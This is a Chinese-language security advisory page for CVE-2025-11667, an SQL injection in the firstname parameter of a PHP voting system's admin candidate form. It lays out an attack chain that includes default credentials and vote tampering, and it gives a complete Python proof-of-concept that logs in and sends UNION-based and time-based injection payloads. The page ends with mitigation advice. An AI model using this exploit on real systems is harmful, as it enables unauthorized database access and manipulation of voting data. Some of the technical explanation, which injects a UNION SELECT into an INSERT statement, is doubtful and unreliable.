IPBUF安全漏洞报告
English
CVE-2025-11667 CVSS 6.3 中危

CVE-2025-11667:Automated Voting System SQL注入漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-11667
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Automated Voting System

相关标签

SQL注入Automated Voting Systemcode-projectsCVE-2025-11667Web应用漏洞中危漏洞远程攻击PHP

漏洞概述

CVE-2025-11667是code-projects Automated Voting System 1.0版本中存在的一个SQL注入漏洞。该漏洞位于/admin/add_candidate_modal.php文件中,具体涉及firstname参数的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到数据库查询中,从而实现未授权的数据访问或篡改。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。攻击者可以通过网络远程发起攻击,无需用户交互,但需要低权限(已认证用户)即可利用。漏洞的成功利用将导致数据库中的敏感信息泄露、数据完整性遭到破坏以及可能的服务可用性影响。

Automated Voting System是一款用于自动化投票管理的Web应用程序,广泛应用于各类在线投票场景。由于该系统的管理后台涉及候选人信息管理、投票数据统计等核心功能,一旦被攻击者利用SQL注入漏洞成功入侵,可能导致投票数据被篡改、候选人信息泄露等严重后果,影响投票系统的公正性和可信度。该漏洞的利用代码已经公开披露,进一步增加了被恶意利用的风险。

技术细节

该SQL注入漏洞存在于Automated Voting System 1.0的/admin/add_candidate_modal.php文件中,具体定位于firstname参数的处理流程。在该文件中,应用程序接收用户通过HTTP请求提交的firstname参数后,未对其进行充分的输入验证和参数化处理,直接将用户输入拼接到SQL查询语句中执行。

攻击原理:应用程序使用类似如下的SQL语句进行候选人添加操作:
INSERT INTO candidates (firstname, ...) VALUES ('$firstname', ...)

由于firstname参数未经过滤或转义,攻击者可以构造如下恶意Payload:
firstname=test' UNION SELECT 1,user(),database(),version(),5-- -

通过单引号闭合原始SQL语句的字符串边界,然后注入UNION SELECT子句来执行任意SQL查询,从而获取数据库中的敏感信息,如管理员凭据、投票记录等。

利用条件:
1. 攻击者需要能够访问/admin/add_candidate_modal.php端点
2. 需要具有低权限的认证凭据(PR:L)
3. 无需用户交互(UI:N)
4. 可通过网络远程发起攻击(AV:N)

该漏洞的利用复杂度较低(AC:L),且已有公开的PoC代码,攻击者可以较为容易地复现和利用此漏洞。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具发现暴露在公网的Automated Voting System 1.0实例,并识别/admin/管理后台路径。
STEP 2
步骤2:获取认证凭据
攻击者通过默认凭据(如admin/admin123)、暴力破解或社会工程学手段获取管理员或低权限用户的登录凭据。
STEP 3
步骤3:登录系统
使用获取的凭据登录到/admin/login.php,建立有效的会话Cookie,为后续注入攻击做准备。
STEP 4
步骤4:构造SQL注入Payload
针对firstname参数构造恶意的SQL注入语句,如使用UNION SELECT提取数据库信息,或使用布尔/时间盲注获取数据。
STEP 5
步骤5:执行注入攻击
向/admin/add_candidate_modal.php发送包含恶意Payload的POST请求,触发SQL注入漏洞。
STEP 6
步骤6:数据提取与权限提升
通过注入获取数据库中的管理员密码哈希、投票记录等敏感信息,进一步利用获取的凭据提升权限。
STEP 7
步骤7:数据篡改或破坏
利用SQL注入修改投票数据、候选人信息或删除数据库内容,破坏投票系统的完整性和公正性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11667 - Automated Voting System SQL Injection PoC # Vulnerability: SQL Injection in /admin/add_candidate_modal.php (firstname parameter) # Author: Security Researcher import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/add_candidate_modal.php" USERNAME = "admin" PASSWORD = "admin123" # Step 1: Login to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Craft SQL injection payload for firstname parameter # Payload: Extract database version and current user via UNION-based injection sql_payload = "test' UNION SELECT 1,user(),database(),version(),5-- -" # Step 3: Send malicious request to the vulnerable endpoint inject_url = f"{TARGET_URL}{ADMIN_PATH}" inject_data = { "firstname": sql_payload, "lastname": "test", "position": "1", "submit": "Save" } response = session.post(inject_url, data=inject_data) print(f"[*] Injection response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Step 4: Alternative - Time-based blind SQL injection test time_payload = "test' AND SLEEP(5)-- -" time_data = { "firstname": time_payload, "lastname": "test", "position": "1", "submit": "Save" } import time start_time = time.time() response = session.post(inject_url, data=time_data) elapsed = time.time() - start_time print(f"[*] Time-based test elapsed: {elapsed:.2f}s (expect >5s if vulnerable)")

影响范围

code-projects Automated Voting System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/admin/add_candidate_modal.php端点的访问,仅允许受信任的IP地址访问管理后台;2)在Web服务器层面部署WAF规则,拦截包含SQL关键字(如UNION、SELECT、SLEEP等)的恶意请求;3)对firstname参数进行严格的输入验证,限制其仅接受字母、数字和常见特殊字符,拒绝包含单引号、分号、注释符等SQL元字符的输入;4)审查并修改源代码,将动态SQL查询替换为参数化查询或预编译语句;5)定期轮换管理员密码并启用多因素认证;6)监控数据库日志,检测异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表